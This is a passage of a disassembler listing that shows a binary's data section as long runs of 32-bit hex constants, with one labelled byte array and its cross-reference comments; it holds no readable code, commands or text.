		dd 58CB77D4h, 63000BB4h, 2AB878E4h, 0E80088F4h,	0BF85195Dh
		dd 351ED2Fh, 801C92C4h,	11006250h, 9682168Ch, 6ECA5Dh
		dd 55E92DBAh, 0F84723ADh, 0FAD30C13h, 480F1804h, 0C2E19E87h
		dd 0AD06DB9h, 0EA5901B8h, 5C91DC07h, 0FE108432h, 220FDDFCh
		dd 69CB4200h, 0AF382E80h, 0AA007E8Eh, 7074FB5Bh, 0E25131h
		dd 0C79DDA24h, 0F6954122h, 71BA9330h, 3C9F851Dh, 74000EEAh
		dd 1B5128FFh, 1F0032B3h, 244D485Bh, 1593FAh, 611E1964h
		dd 5A4F7ACDh, 72752B09h, 0EFB848Fh, 1127C83h, 0B32DE4C8h
		dd 0D025CF31h, 53315102h, 0BC9120D8h, 58822ECh,	387B4C0Fh
		dd 313F80F4h, 3000D6A2h, 0D8D481E1h, 1AE0F50h, 36790BD5h
		dd 0FC840312h, 4258A3DDh, 7F270055h, 0D478CE35h, 4445004Bh
		dd 0E323AAF0h, 99009A49h, 940B4CFAh, 0BD988835h, 0C00075D0h
		dd 2C1105EAh, 137A88Eh,	0AFE32056h, 215C085Fh, 0EB30C484h
		dd 0CE2D3300h, 5B88FBECh, 8D4F0FA9h, 5DA0DEB7h,	0DBEE987h
		dd 26003578h, 3078D9F1h, 154AB901h, 84FD0413h, 336DF200h
		dd 0ADC94E21h, 0E2535D03h, 0D810CFA4h, 1B1ABF6h, 4273D484h
		dd 31B78FE5h, 90C00748h, 5A77A2CFh, 0EF981454h,	6D694102h
		dd 4A68E7EBh, 7387C14Ch, 822DCh, 0D199B46Eh, 7804C74Ch
		dd 0B1013900h, 0B3AA5B36h, 0FB902AFEh, 0B3D64CF4h, 4E97EB00h
		dd 0D4A6DB4Dh, 0AAB6D518h, 692921h, 0BB39694h, 0BE4E8CA2h
		dd 0C68E7E00h, 0BC5CFB41h, 0A64069Fh, 0E9FC192Eh, 0CF3AEB1Ch
		dd 3017680h, 7C2F074h, 0C6C33E6Ch, 0EC6D81FEh, 0BC83F48Fh
		dd 78308773h, 1E6E10BBh, 0D210018h, 1B15B6Dh, 7C78FEFFh
		dd 0BCC69601h, 61E7F165h, 50E0F182h, 908041C7h,	3236286Fh
		dd 0DF2EA700h, 68DCA992h, 75CE00A3h, 0E18CBBE0h, 5904F42Ch
		dd 9B476C4Ah, 0B6385080h
		dd 748D0040h, 8C4F105Bh, 0DC043F94h
		db 8Eh
byte_530055	db 0DFh, 7Ah, 0BEh	; DATA XREF: ___:off_43811Co
					; ___:off_438134o
		dd 0FB058491h, 794FD98Eh, 36529C60h, 7A024D42h,	7F6CA477h
		dd 0DECCA7D5h, 7B39D1A6h, 19B16075h, 33DA67B3h,	0A04C667Bh
		dd 94D80082h, 0CA03A3BDh, 11C50CFEh, 0B6691917h, 6FD6C800h
		dd 7E7C3854h, 0B7B53A93h, 0A18E2E00h, 9FFD8247h, 9C07271Dh
		dd 807B3F3Bh, 18D644C1h, 0E88365D4h, 607674E4h,	0C9D5216Bh
		dd 1F0CAB44h, 2C4E4A6Dh, 9D2E0582h, 2E80E1AEh, 702328h
		dd 0F1140E25h, 2300D363h, 3BD2AE9h, 1A4116h, 99CADBA5h
		dd 977F931Bh, 0F2F9F11Dh, 0C7408B5Bh, 0B2408EA0h, 0A32C0350h
		dd 0A2C4589Ch, 210F92A3h, 9D4027E4h, 0B25E2F4Fh, 1F506200h
		dd 0C39FF125h, 3302239Ch, 1AB86EDBh, 0CB3660A9h, 4671A199h
		dd 3F9C07ECh, 0A24450B4h, 0CA279532h, 0CBDA4050h, 32FC0005h
		dd 7515FB37h, 90A9DE1Bh, 4BE1890h, 2C18D944h, 3DA2C64h
		dd 0C47444C6h, 1CB85ABDh, 657B7AF6h, 0F5F8EA05h, 0BC3EA3C8h
		dd 19006E23h, 0B203A240h, 0AD6116C1h, 584A1876h, 1E80B8D4h
		dd 0BCAC4C98h, 5FD90770h, 0E795F6E6h, 0E7C07F68h, 970487D6h
		dd 82262501h, 32E35DC9h, 0F174ECh, 0C32CB341h, 4B86B80Fh
		dd 35436C00h, 25D780FCh, 0E1210042h, 0F0BE9FEFh, 0AA1FC98Ah
		dd 7A030889h, 0D92BBF5Ch, 53DC773Dh, 86621EDDh,	0F18C036Dh
		dd 2AF81005h, 0C207DA3Bh, 0FF5DE4A1h, 0E557F020h, 4FC01B44h
		dd 0DFC040BDh, 0FD072F73h, 58CF3886h, 0C01109FCh, 2F9AFF21h
		dd 0D84C73F5h, 0ADC61B0Bh, 0A1F9A050h, 0D82A717Ah, 0DDCF9028h
		dd 20793A30h, 60F9C8BEh, 579A8804h, 0EF60DC16h,	7CFFD029h
		dd 247D0373h, 1C753FE2h, 55690818h, 0FC2ABB20h,	0E4E1056Fh
		dd 80FEA67Ah, 76FB0A4Dh, 80D7F0Eh, 81924091h, 617059Dh
		dd 68BDD1EFh, 0F0006118h, 29B71F77h, 0E98E9EDh,	5F01D4FCh
		dd 18216B8Ch, 0D8B75306h, 3E9094Ch, 0B5836852h,	0CAF88297h
		dd 4D06518Fh, 0B7D06FFEh, 1970C460h, 7DEE00DFh,	3BACCFh
		dd 13D5B68Fh, 86C050ABh, 46A74Ch, 68ED7AFh, 0CCB768h, 0D808CB53h
		dd 0E567BEDBh, 55048B00h, 0A45F29AEh, 0F2A00A7h, 0CE53E9FDh
		dd 1A016314h, 0ED57E1ACh, 0BCC44623h, 0D3F0006Fh, 0B5E50FD0h
		dd 7807CF27h, 40C7D238h, 0BE183BD0h, 23930066h,	1ABFAB0Dh
		dd 0EC007486h, 0BC0A0120h, 0F4FA057Ch, 4C3700FEh, 9DEA9959h
		dd 6400C9BEh, 3913BD35h, 13A578Ch, 0CD2058C1h, 0ED21C70Ah
		dd 0C9608046h, 0C4B359B5h, 0BD1F184Dh, 844579CEh, 64A82900h
		dd 0C5D27004h, 7D800338h, 0A01DCC96h, 0D56A1900h, 0AEA9567Bh
		dd 0A47100B9h, 0C5972FBDh, 771C1332h, 2C809BD0h, 9D4898A7h
		dd 98C86012h, 0D4A141B5h, 1FCF8F3Fh, 0C1C0D570h, 29BB5096h
		dd 12691F3Ah, 44FD0CFCh, 0CF3EC919h, 4601FE28h,	0F8A1B3E1h
		dd 0D6EC8E21h, 45650070h, 0CC6CEFCDh, 4460CB83h, 0D98E2929h
		dd 0F1186308h, 83B88D3Ch, 2500B4FDh, 673B2F5Bh,	1B335Fh
		dd 9BC0760Ch, 0D2653D50h, 0A8D5A8C7h, 605F58BCh, 9A01C6AEh
		dd 95009BADh, 4AC03A42h, 4C4DFBh, 83D5B90h, 0CAFC4751h
		dd 36CEA716h, 8F42FB00h, 75E393C7h, 0BBA919B7h,	0ECAE408Eh
		dd 0DB03A7BCh, 243B58E4h, 4A3CB821h, 0D19400C4h, 5331AEF6h
		dd 0C3603642h, 0D3628F70h, 8DB400B1h, 0AAD81D75h, 0D00E3C6h
		dd 0AF401F81h, 4EDA9Fh,	436BED9Ah, 0E93F9B8Fh, 47004BFEh
		dd 60E65ED0h, 41393E3h,	0E8835712h, 0C85BC080h,	3400B26Ah
		dd 64CF667Bh, 0E27A50Eh, 78680514h, 8C679B8Fh, 0B79AF01Ah
		dd 0BB001084h, 8D0EBDEEh, 0FA6C1773h, 8CAC549Bh, 0C2A538CFh
		dd 4587658Fh, 34FF0360h, 1500493Dh, 6EFB2376h, 17EA2Dh
		dd 0E4B46ACAh, 64CE74E5h, 8403C971h, 0DFED3019h, 0AF2BE840h
		dd 9010001Fh, 17E9ABA1h, 9B1E5D20h, 6A883A54h, 0CCCB05DBh
		dd 20AC58DCh, 59039D2Bh, 0F4AF561Fh, 0A82CC897h, 0AAE45Fh
		dd 414EEED5h, 0F5799677h, 0C4764C00h, 0E41F55A3h, 5DF0EF7Bh
		dd 31DF6126h, 0DC9258DBh, 0E6079720h, 0F81FA7BFh, 0E3C1AFCFh
		dd 794BC219h, 133F0728h, 0B03388E8h, 5FCADE47h,	42604A74h
		dd 0E81BD621h, 0ED754Bh, 6E62B379h, 807B20E3h, 887158DBh
		dd 0EBAC5847h, 2A6C30h,	0DAB2EF73h, 0B3D3689Bh,	12759016h
		dd 0DB93B300h, 3136DA4h, 15B00BA0h, 0D800420Dh,	0BCD8EE3Eh
		dd 65A4D0ADh, 688E0B3h,	0B8A88693h, 0D851AB0Ch,	782C78E7h
		dd 5EAE00EDh, 66F76B85h, 2100E9B9h, 0EA23BBD3h,	1936B4h
		dd 4575444h, 74785C7h, 0B2DAE00h, 27FEF2F7h, 53A10030h
		dd 0B20A5C57h, 5017D20Fh, 600E990h, 0C4D13CA6h,	0CC2E3471h
		dd 83042B10h, 701231CDh, 91A90010h, 757B7851h, 0A7073C5Fh
		dd 79775C62h, 1D031D73h, 26B321h, 81E3DC9h, 4D0013FDh
		dd 232D8CDBh, 3FEE0Ah, 2C4BA718h, 268FF3BAh, 3A41F907h
		dd 42305511h, 0E287C3h,	586E2C59h, 0AA760BDh, 7C3B5FF8h
		dd 0F4BA8776h, 38A0B19Fh, 99AB3E9h, 51874B64h, 0E43A9A80h
		dd 140E3C0Bh, 22E1D52Ah, 0E06F86DCh, 0E5475Bh, 784652C7h
		dd 42161C63h, 9BB21E03h, 956992C5h, 98BE1A83h, 83DDFEh
		dd 633D6A93h, 0DBFCF147h, 2A00E67Eh, 9B7C444Ch,	1C4F7E8Ah
		dd 15AA98h, 3227F3FEh, 6060FDF8h, 0A980AC50h, 0B2BD005Dh
		dd 3ADB451Bh, 860C96C8h, 1028172Dh, 0DE360097h,	8FCF94E3h
		dd 243CAE93h, 66891CF4h, 0C3C0380h, 649962h, 0D9C6D17Dh
		dd 0A1D2DEBh, 186AF100h, 173C32ACh, 3D2B3E23h, 6991F880h
		dd 757C1489h, 0AEAF0100h, 7294D79Dh, 0C7960352h, 0A6699B9h
		dd 0B5ACB000h, 227E7D46h, 73750267h, 0E398BB85h, 0C5802BC0h
		dd 9F00D7FEh, 0E793C74h, 9030C969h, 22E4000Ch, 78BBD1F5h
		dd 0D0006BABh, 737E6CD4h, 13C30B7h, 614C7B5h, 0ED787038h
		dd 0A601F059h, 0A4999039h, 9B1807E4h, 202E72h, 57049736h
		dd 0AF1E5582h, 7007DB32h, 184444A6h, 311B42C1h,	0AD003BDAh
		dd 587B65EEh, 0D90902h,	385D0FC4h, 41C3AB7Ah, 78C0D47Eh
		dd 0F416B30Ah, 0A8BC00E6h, 0ABCED825h, 28002D2Fh, 0D2E1F9C9h
		dd 0C322D9h, 8EADC469h,	0BB4B9834h, 0B9998F00h,	1596BA52h
		dd 0B1FE72h, 0C77BA8FAh, 7F01CCB4h, 51006B77h, 7D43D12Eh
		dd 1DECF79Bh, 406862D6h, 0FF33C642h, 46030F9Eh,	0C0F56B84h
		dd 0C710B8CBh, 0CE6A241Dh, 0AC930AB0h, 0E0720048h, 182E85E8h
		dd 0F5ECD500h, 0C4C175A3h, 48F800E5h, 0B4563331h, 0CE003974h
		dd 8C4115C6h, 77AB456Ah, 121678F3h, 6F9381h, 0EC0EB266h
		dd 5407F408h, 3BFA2B1Fh, 75B19500h, 17C000A8h, 0A5BF2214h
		dd 0BE1E616Bh, 3D00774Dh, 2B87DF99h, 580C005Bh,	5745E947h
		dd 0AC0B14F9h, 880E76FCh, 5C80CCD2h, 6D771942h,	391F0030h
		dd 0F0C17D96h, 0E600BEE1h, 46EB9931h, 0E20489h,	32743B86h
		dd 0C40AA52Bh, 17BC5600h, 0DFC194CDh, 0DDED0008h, 9B90ADCAh
		dd 2E016E64h, 0B7951C92h, 29317442h, 0FEA44C24h, 45480024h
		dd 0D86BD453h, 61000A4Fh, 0D1C5E663h, 858E7Bh, 119190C8h
		dd 0C9A4B42Ah, 0E82CEC17h, 0EEED4900h, 28E0D7EAh, 90F2FAh
		dd 5CD992BDh, 0EFFBC3C4h, 43AA6601h, 841C89F9h,	0FD2420h
		dd 7642B283h, 1044B862h, 0E6999116h, 0A6BB0100h, 0F8439507h
		dd 982E0CF2h, 9A7CA435h, 0F5E8B100h, 0C42BCBDEh, 581400B9h
		dd 34FBDBF2h, 0D20003BBh, 7E2D6384h, 1C6910h, 593D1104h
		dd 1FFE5101h, 9C1D371Dh, 0FFE91BC0h, 71E71622h,	6C02070Ah
		dd 80092843h
		dd 0DC66070Fh, 3EF2BB00h, 0AB4D411Ah, 0A25F025Dh, 0FF5921DFh
		dd 12641C0h, 3C90B224h,	543FB680h, 0B5CBE0h, 0BBA7623Bh
		dd 32918BAFh, 0B70FF674h, 0E0F00833h, 838DDFFAh, 0AE90009Fh
		dd 81D38F34h, 235C13CBh, 0F070032h, 328A703Dh, 8058099Ch
		dd 1000B54Dh, 9075F9C5h, 9693E201h, 14B0875Bh, 11A97CCh
		dd 494C79EBh, 0FCAE6675h, 6B00DCFBh, 249512C5h,	6099A67Bh
		dd 6704106Ch, 8002EF8h,	2A695460h, 4E8E4A0h, 8E1A9AEAh
		dd 0D5BDC078h, 5B09344Ah, 806A1075h, 0DD72FFC0h, 75A240Eh
		dd 939E0B1Ch, 26D2AC01h, 0B723708Dh, 0DC67F700h, 0C10791AEh
		dd 8FA40266h, 570AF385h, 0F5964C60h, 9776500h, 0BD9E8011h
		dd 71F907A1h, 0B34922h,	0C7F8F1B6h, 0BB6648h, 0BB0C895Eh
		dd 0EC435D64h, 1B7F2FFCh, 4B189E54h, 4C7210h, 0E9068D73h
		dd 7CEC5CC2h, 60DBF300h, 5BD3ED6Ah, 0DFE3006Fh,	0A520A898h
		dd 8400B607h, 9D57A390h, 589DC6Bh, 4F12B26Ch, 1F3B8147h
		dd 36DEECA4h, 8C978D3Fh, 0E9583499h, 6B590044h,	0D75664E4h
		dd 0B50073ACh, 8E27BEF4h, 869557h, 0FB80ABB8h, 604364F6h
		dd 5E9F3Fh, 0ECD2E527h,	72A64Ah, 197DB120h, 0F826F0F6h
		dd 0BE967326h, 0DD95B000h, 0F4142DBh, 0A7E2B8E7h, 85B99C27h
		dd 0BC97802Ch, 1A00B485h, 0EBD65A5h, 0FE08BE1Fh, 889E024Ch
		dd 8BB72429h, 0D01660E9h, 7F00F1AEh, 31955C5Ah,	0CDA049h
		dd 0FE249DD6h, 28BBAA59h, 0BD6425h, 0A688B4F1h,	995A327Ch
		dd 49E0E128h, 0BA985375h, 0CFDFC400h, 9451F46Eh, 0EB0A39D2h
		dd 2C045CC8h, 0C03529EEh, 0E6ADFD60h, 8FEF5F02h, 6B70D049h
		dd 0CA29F96Ch, 7413834h, 4342D123h, 8E294F1Bh, 0B00702Fh
		dd 80BB48A2h, 0E7A4130Eh, 457D20B3h, 3D83FF9h, 73EFC8ECh
		dd 96E881ADh, 0E5F61556h, 0F962AB1Dh, 238AE60Bh, 767C4296h
		dd 41230379h, 0E845BFD8h, 0C1C92101h, 0D24B3FA2h, 0AADB5040h
		dd 272014E6h, 2300546Fh, 0C7362981h, 0FD0017BDh, 444879F8h
		dd 98A6FC14h, 310A0040h, 0E4382DE5h, 0DB1FAE13h, 0A4C01897h
		dd 8D9BC9B3h, 0D36300ABh, 0CB1471BAh, 71C39C56h, 0C8A94EA6h
		dd 984F47D5h, 89B53285h, 0E0A3E708h, 78A8AC17h,	43004025h
		dd 0AEBE34EFh, 4C9E3A0Ah, 0D230C806h, 3120ECA9h, 5B40FB00h
		dd 524B3AD0h, 0C0EDE8D1h, 31598B21h, 0C6000B25h, 9B6CCFA1h
		dd 50417D85h, 5DC0E50Ah, 3702446Dh, 0B22A7B5h, 0FBA514E8h
		dd 91AB7D00h, 88C84F28h, 4D5A74B0h, 0EE5848E9h,	9ED87D00h
		dd 1102F51Eh, 0EB8D8C03h, 0C8849B92h, 183371B9h, 68A3E20Eh
		dd 0DF71C3C6h, 90AC28F9h, 1E55238Ch, 47117FB4h,	21568C87h
		dd 0CABD00EEh, 0DD30E95Eh, 600B65E7h, 835F78E5h, 0C04FB224h
		dd 181F2B05h, 59437123h, 8C008EBCh, 87A808C0h, 2901A649h
		dd 11A81316h, 315C80C1h, 8C7B4617h, 87F144h, 86D23155h
		dd 4463680h, 0DFB53802h, 884975h, 0DA267492h, 9E00DC71h
		dd 58B7ACDDh, 7CD6D4Bh,	7A78C92Ch, 0B8A760D2h, 0EC120180h
		dd 609CC21h, 0FB01001Bh, 0F4173Fh, 0A8C8204Fh, 2CEDB60Fh
		dd 6A043Dh, 4C96C122h, 9EEB5Dh,	0B557F499h, 0C7D7CCA2h
		dd 15FEB91Eh, 0EB8436C3h, 0DF95F80Fh, 71AB005Ah, 0FF0680CEh
		dd 0E412ECA0h, 6601BDC2h, 0B401DCD6h, 21DB0898h, 0C309856Bh
		dd 0F62251Ch, 29BF47BBh, 0B0AC77A3h, 0F3DBB0h, 268CA0FEh
		dd 4B846B43h, 99817938h, 9908772Dh, 5AC62187h, 8514B06Bh
		dd 0A3E6119Ch, 74EBDF00h, 6F68FC3Ch, 7E500103h,	0BCA66506h
		dd 8CA1D41Eh, 538070F1h, 1D865501h, 248073F2h, 21340898h
		dd 5200F63Fh, 5544D0E2h, 0FB6F478h, 25B9C80Bh, 0B021D8A6h
		dd 868CD1C0h, 6636AFAh,	2F0E88A4h, 0E6217072h, 5337811Fh
		dd 184D84F7h, 0B379882Bh, 96385200h, 0E6E35DEh,	7577308Ah
		dd 79046348h, 6F69C807h, 2230618Eh, 7C23Ah, 1FDE3ECCh
		dd 0F990AF4Ah, 15D784Ch, 6923518h, 5C70E82Eh, 148248EBh
		dd 852E8330h, 0C60089D7h, 9BDCAF17h, 3EBD816Ch,	78FF4Ah
		dd 0EB5C291Dh, 0BFC96157h, 0ED582100h, 70E2A53Ah, 7620738h
		dd 15F590F3h, 60698054h, 0F0030BDEh, 9A2F66A4h,	0EF180EF6h
		dd 0F4803F7Bh, 0AF5899F5h, 6411CA00h, 6A983179h, 0FB1F8F8h
		dd 1705FF30h, 0B3EC7681h, 0F674EC0Bh, 0A1E5CB00h, 0F8FF393Eh
		dd 5449C0E6h, 984469D3h, 0A6004F7Bh, 36C88DEDh,	0CE7E13h
		dd 0E1F17832h, 99FBC517h, 3023EF00h, 49675109h,	54F9200Ch
		dd 131D618h, 2CBA44C0h,	0DD1B3h, 8DE79CB4h, 820084BEh
		dd 0E3F92F87h, 0F72937h, 0A29977E5h, 76EEC93Eh,	11C053B8h
		dd 0D8ADFC8Bh, 0CE20002Fh, 0C323C0FAh, 260A89B7h, 9467CDF9h
		dd 558380B1h, 803EDD01h, 1B8637D1h, 1432ED80h, 80A9D6D5h
		dd 0B8EF167Ch, 51C10044h, 0EDB42355h, 0CCDC140Fh, 8940BD17h
		dd 874C4E0h, 0CD770026h, 0D4942404h, 8B00460Ch,	1E476D82h
		dd 1EE2098Ah, 5F0AE476h, 218401EDh, 0E473181Bh,	4E1E36C1h
		dd 3F79D71Eh, 0CD4300D3h, 5C03B798h, 0DC396A6Ah, 48891879h
		dd 1F07BE69h, 584E48CDh, 368B3880h, 0C01C7AB9h,	0EE343D38h
		dd 0BF00A043h, 0CFBEE6F0h, 502A9BE0h, 16BE2A1h,	0B51C91F6h
		dd 0C6BC3478h, 0F3EBB1E3h, 5C396107h, 0CFD0C756h, 14ACD7Eh
		dd 9B54629Ch, 80E0A5D1h, 0B6450970h, 3329F0h, 0A0E7FC6Eh
		dd 98CC681Ch, 733E9F01h, 8D709B3Fh, 6C88B770h, 761080EDh
		dd 0AD0C457Ch, 70D09F85h, 0F080038h, 0F0F2FDE7h, 0C5147D13h
		dd 0EA8AF6h, 0CF864409h, 0F474EEh, 0B7C70796h, 3DD91A7Ah
		dd 0B6F98B0Ah, 7F86B04Ah, 5008A2h, 50CC26F5h, 0F36145D5h
		dd 37FFE002h, 8023D7B4h, 3581EAB4h, 0BF8B003Bh,	0DA90937Ah
		dd 3D09A7CEh, 801F9D13h, 3E119F9Fh, 0ADD73F5Ah,	1C050F03h
		dd 86E05D57h, 55F827E1h, 78E98800h, 321E39E5h, 0F0B10080h
		dd 872190C4h, 0D80352B7h, 0D77C9F7Bh, 5F18C044h, 33353CB8h
		dd 0ADC44B83h, 0B0A19CF4h, 0C12080D8h, 0AC1EB876h, 0EC9478B9h
		dd 432411D7h, 5E90085h,	981929CBh, 0A2500753h, 4524AAh
		dd 888C8017h, 95B829C0h, 6023CD86h, 0B2F711ADh,	340F7403h
		dd 0EF85A33Eh, 0AB189DEBh, 33494D21h, 4F580516h, 0DC0FD988h
		dd 0E99CD00h, 0EFD65C70h, 0D564008Bh, 7E3A24F3h, 7F6082A4h
		dd 451B42D9h, 0D60C0005h, 0DC85134Fh, 0BB0AC2F3h, 80C5BF76h
		dd 6DA59783h, 53CD98ACh, 0C6987E6Fh, 2081D308h,	725DD800h
		dd 10BBBEACh, 8497304Fh, 1A419F48h, 0B3FADF00h,	7E907FFCh
		dd 0B13403C5h, 9F21F98Ah, 0F87CFE8h, 0FC00E1EEh, 0EC506F46h
		dd 0F23DE9BDh, 8EF00BCh, 81627876h, 34008DA7h, 462567F3h
		dd 0FD403D2h, 51C8287Dh, 9997C020h, 74770DDAh, 231C7303h
		dd 0D0716E18h, 3DC032FCh, 0CA00AB27h, 80492EEEh, 18C1F02Ah
		dd 9EE90B7Ah, 0C11961FAh, 7C25E060h, 288A3029h,	0BFCC9D38h
		dd 0ECEE50E8h, 2CFCE70Bh, 3310005Bh, 981160FAh,	0E838076Fh
		dd 0D039F8F3h, 0D22F5120h, 902C8A00h, 1B972A1Ch, 0BCA8C05Ch
		dd 3FAA7C88h, 95CF48h, 1D8FF199h, 6BE230h, 1AD520BDh, 187BEBFEh
		dd 6382407h, 7DC0C421h,	146221Fh, 3228A1DDh, 0FC480CD0h
		dd 8B1CA07Ah, 7D8083DCh, 34116EC9h, 5503D20h, 41F62E98h
		dd 0D060ABF5h, 701B2518h, 626F008Eh, 0B0A792BEh, 0EC00AECCh
		dd 53203E98h, 77A37B10h, 0EF5C007Ch, 0E95FA6ABh, 6D00F763h
		dd 0BC106F97h
		dd 7D4C05h, 0F406B171h,	58E8E39Eh, 80BB461Ch, 0B9686182h
		dd 0EEE640C3h, 0E00F007Fh, 0A5D60533h, 0E13E26CAh, 8C091285h
		dd 0A2DAC006h, 87A74h, 712AF9E9h, 0C43BE88h, 0A00F9607h
		dd 76C09D78h, 727B7Ah, 0F3FE2599h, 58BBF15Eh, 5F885Ch
		dd 0E76DC7F5h, 6F3223h,	65B011A1h, 0F2EA89C6h, 43A72400h
		dd 0D6BB26ACh, 486000C9h, 59ECAA4Bh, 7F00F9E0h,	0F6EA6EEFh
		dd 0CE809E9h, 0FB96DBFFh, 0DE00E660h, 8C3B8C7h,	1E4B6ED5h
		dd 7A4348Ah, 800BE78Dh,	207245A7h, 5EA57000h, 0DC2BF8F7h
		dd 653982Ah, 496D30F4h,	6B3A40ECh, 88007289h, 0EEE07C8h
		dd 0F83B7691h, 1AF939B9h, 9CD39380h, 5D832F40h,	9E0C40Fh
		dd 2A050098h, 0D2D90A7h, 0BAE786E1h, 31E02050h,	0E4FA9D0Eh
		dd 0FB972004h, 3A150F39h, 0A20253EFh, 0E8655FC2h, 0EA9032C0h
		dd 0AA2DA300h, 7AB6BE1Ch, 79FF03A8h, 1808CAE7h,	4A839207h
		dd 0F6E04D97h, 14C8F9h,	0B634093Eh, 0BE3F4B5Bh,	26499B00h
		dd 0ABE3A898h, 0DF4D006Fh, 90DE2043h, 350C45CDh, 79811477h
		dd 0E86EECB5h, 0A64F1C15h, 0F300FE7Bh, 0C5251627h, 94484849h
		dd 0BFB90042h, 2D847337h, 731CF8Ch, 426CD8E0h, 0A10F5923h
		dd 9E14CAF4h, 7C92A043h, 4508D098h, 17AB00FEh, 45826B1h
		dd 0F900DB9Eh, 0CD6253FAh, 25D20Ch, 0DC17BE11h,	3C01783Fh
		dd 0BC0167EEh, 5C1CF808h, 2CDC6B4Bh, 0AFDF07CCh, 0DAA2E0h
		dd 0B340532h, 0DE851803h, 4BC297h, 45794798h, 0F2DFE2CFh
		dd 0E409197Ch, 4F16DCh,	1B0B4357h, 1C1E0C7Eh, 0F6B0CD95h
		dd 0A483440Eh, 866C40E8h, 37B725h, 71F44DF5h, 0D61E6605h
		dd 6F94E500h, 3C80CB96h, 6DC6001Fh, 0B722E0A2h,	0E400492Ch
		dd 0A54A26C2h, 95279h, 0D1B4645Eh, 0CEAB40F5h, 8503CCE9h
		dd 5341800h, 71C0EF22h,	2FE0BBh, 0BCF43702h, 7DCE1D1Eh
		dd 0CB73F607h, 0E3802BA7h, 343AAB7h, 0AF61C4CFh, 587F6C9Ah
		dd 302CFA37h, 0D04AC3C3h, 0FC3B7089h, 13BEF8FDh, 0EB1A72h
		dd 63B7F3DDh, 0D1E407C6h, 8400547Ch, 0B67303DFh, 0AF3357ACh
		dd 0CC32432Ch, 0C16D29Ah, 0B8706DCBh, 8C0D6F9h,	9F152022h
		dd 0E519C03Dh, 51CE5A67h, 20C44330h, 7AFF4CA9h,	3877821h
		dd 2BA814DEh, 41036D95h, 67E61773h, 0CEA5E890h,	0C7D20F54h
		dd 0D7A0043Dh, 9E61EF65h, 2DA43000h, 0AF115B8h,	4F6748F2h
		dd 0E3E80079h, 731D60CEh, 0BF2A89ABh, 4820248Ah, 0A97A003Ch
		dd 0C61EE4EFh, 0B128E719h, 2830C03Eh, 7082B936h, 4DC51149h
		dd 0F00443CEh, 29D5FBh,	0D17EABF6h, 10A02B62h, 833DA217h
		dd 0F2930F07h, 32479D60h, 3320C9D2h, 40BAF680h,	0A07195A8h
		dd 43527701h, 6C82CE92h, 4B8EC0h, 7C3CFC5Ah, 0A7F42850h
		dd 0CD56E303h, 0C06FD20Fh, 323A977h, 0C715D916h, 0B0BFC087h
		dd 75229BEFh, 890A1A00h, 0FF51954Fh, 0C9B600CBh, 99B01DFAh
		dd 0CCEEBED0h, 883DF918h, 1C35F2A2h, 0C7AD64h, 5C0ED8C5h
		dd 72001113h, 73DB36F6h, 0A89D545Bh, 0F93CE8h, 9A66D743h
		dd 68DB89CCh, 5E96581Fh, 8421EB80h, 7453D90h, 63EA7E19h
		dd 426FB076h, 99EA5ED8h, 2202F700h, 0D4C6D7ADh,	5AFC006Bh
		dd 2F82EFE1h, 0BEECAF55h, 0F0A7C400h, 841F1BC1h, 4C080015h
		dd 0DB373078h, 4650ED21h, 920003FCh, 94F8A605h,	3DEF74h
		dd 0EE9542C1h, 83150D4Dh, 0BBF05E00h, 0DE8FEB12h, 757E0073h
		dd 2F8E9162h, 0E500F2F5h, 0BE1E84FFh, 3A713B23h, 4600EEF3h
		dd 0DC889AFh, 3D002A59h, 87C1A382h, 0E4E3449Bh,	0A4810058h
		dd 19E677DFh, 9E01D541h, 0A9D21062h, 9ADC8C6Bh,	4950072h
		dd 0F946E65Eh, 0CB009042h, 1951DF2Eh, 0EDA130h,	17B0B3CCh
		dd 2C8D4E99h, 14CE8B00h, 53873124h, 0FC032C43h,	3C4D0027h
		dd 840508CCh, 2C760D00h, 42D5C475h, 0C37C00ECh,	0B383BA2Ah
		dd 0D30025A3h, 7E312173h, 36A711h, 85ABA492h, 37B3AA19h
		dd 6E9FF900h, 4D32F1B4h, 0A8DE0389h, 7EAD4B31h,	0E272CA80h
		dd 44FA781Ch, 6DE7B182h, 8A8BE029h, 0C880081h, 21B2E25Dh
		dd 1B0EDE42h, 6131A213h, 0D81CD42Bh, 49AE1C8h, 8F0BF6F5h
		dd 0C0189448h, 0FD4D7161h, 0A90C603h, 0D16706E2h, 0D8402E73h
		dd 7DE16F3Ah, 3F898D1h,	0E523A7D7h, 30B8725Bh, 0DB008520h
		dd 0E0FA7C84h, 0F40C678h, 4E0C16F6h, 5A0E40F8h,	0A46E200h
		dd 0A08A3703h, 0E93E033Bh, 80EBAA82h, 55EA2A90h, 3032EC30h
		dd 0B5A86Fh, 9A4BE775h,	0FDA5A26Bh, 1AEF5400h, 0D5B0E453h
		dd 0CDA0028Dh, 39A80D94h, 4FCE5840h, 0A0F89D28h, 8A123F0Ch
		dd 21B058h, 46A2BE6h, 5E390FBBh, 900C7FAh, 2A3393F7h, 1B746Eh
		dd 0B508FECBh, 285A1D4h, 1343E300h, 71ADA3A4h, 0A0787Fh
		dd 25EE9367h, 32E190B6h, 0E20058F4h, 171EFA3Dh,	81D368h
		dd 4261BE9Fh, 0AAC9B380h, 0F5E1FB00h, 2B53412Dh, 463E3E60h
		dd 10064580h, 64FBF058h, 0FEDA751Eh, 403372C4h,	6F680C0h
		dd 0AF1D00F7h, 7A4B0B1h, 127ADD34h, 0D7910400h,	0BEAE8D08h
		dd 0F69B00E7h, 0EE0B6BA1h, 6D3CE532h, 2E859F25h, 0E83789h
		dd 0AD553DA0h, 7571791Ah, 86B6008Ch, 0AE3A480Ah, 26288449h
		dd 0A901BC33h, 76C0CDEEh, 201F61h, 342B1D7Dh, 75FC0ABh
		dd 0F28345E5h, 31FFD700h, 808C7A82h, 75BF018Dh,	0A2E43F6Dh
		dd 0E7DFC14h, 1600ADE6h, 34264694h, 4F7787h, 76749251h
		dd 0CAE6E875h, 81072176h, 5B31953Fh, 2ACB5230h,	97AE26DBh
		dd 0F2D0007Bh, 0A8C81172h, 0B1376401h, 58AD8B18h, 7EC20C8h
		dd 1D5150E7h, 32294293h, 0CA951760h, 0B31DB4F6h, 1200A220h
		dd 5CA35306h, 3F347C0Eh, 7F023AC2h, 0C8D564C1h,	90DC2CC8h
		dd 0C900CA7Dh, 28E54408h, 0BBCD46Bh, 3BBA1A65h,	8007C509h
		dd 0ED77600Bh, 6090403Ah, 0CDB8300Eh, 0E25C26B1h, 0DCB000FAh
		dd 0F69C52ACh, 470118B7h, 6151EA9Fh, 2EF701Eh, 0D0B66271h
